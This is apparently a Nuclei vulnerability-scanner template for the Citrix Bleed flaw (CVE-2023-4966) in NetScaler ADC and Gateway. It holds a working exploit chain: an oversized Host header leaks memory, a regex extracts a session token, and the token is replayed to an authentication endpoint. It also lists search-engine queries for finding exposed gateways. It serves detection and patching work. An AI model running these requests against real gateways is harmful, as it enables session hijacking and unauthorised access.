id: CVE-2023-4966
info:
name: Citrix Bleed - Leaking Session Tokens
author: DhiyaneshDK
severity: high
description: |
Sensitive information disclosure in NetScaler ADC and NetScaler Gateway when configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA ?virtual?server.
impact: |
Unauthenticated attackers can leak session tokens from memory, potentially hijacking authenticated sessions and accessing sensitive Gateway resources.
remediation: |
Apply Citrix security updates immediately. Affected versions include NetScaler ADC and Gateway 14.1 before 14.1-8.50, 13.1 before 13.1-49.15, 13.0 before 13.0-92.19, and 12.1 (EOL).
reference:
- https://github.com/assetnote/exploits/blob/main/citrix/CVE-2023-4966/exploit.py
- https://github.com/Chocapikk/CVE-2023-4966
- https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966
- https://x.com/assetnote/status/1716757539323564196?s=20
- https://www.netscaler.com/blog/news/cve-2023-4966-critical-security-update-now-available-for-netscaler-adc-and-netscaler-gateway/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-4966
cwe-id: CWE-119,NVD-CWE-noinfo
epss-score: 0.99999
epss-percentile: 0.99993
cpe: cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:fips:*:*:*
metadata:
verified: "true"
max-request: 2
vendor: citrix
product: netscaler_application_delivery_controller
shodan-query:
- title:"Citrix Gateway" || title:"Netscaler Gateway"
- http.title:"citrix gateway" || title:"netscaler gateway"
fofa-query: title="citrix gateway" || title:"netscaler gateway"
google-query: intitle:"citrix gateway" || title:"netscaler gateway"
tags: cve,cve2023,citrix,adc,info-leak,kev,exposure,vkev,vuln
variables:
payload: '{{repeat("a", 24812)}}'
str: "{{to_lower(rand_text_alpha(4))}}"
http:
- raw:
- |+
GET /oauth/idp/.well-known/openid-configuration HTTP/1.1
{{str}}: {{Hostname}}
Host: {{payload}}
- |+
POST /logon/LogonPoint/Authentication/GetUserName HTTP/1.1
Host: {{Hostname}}
Cookie: NSC_AAAC={{session}}
unsafe: true
extractors:
- type: regex
name: session
part: body_1
group: 1
regex:
- '([a-f0-9]{100}45525d5f4f58455e445a4a42)'
internal: true
- type: regex
part: body_2
regex:
- '([a-z0-9._]+)'
matchers-condition: and
matchers:
- type: word
words:
- 'NSC_AAAC='
- 'HTTP/1.1'
- type: word
words:
- '{"issuer":'
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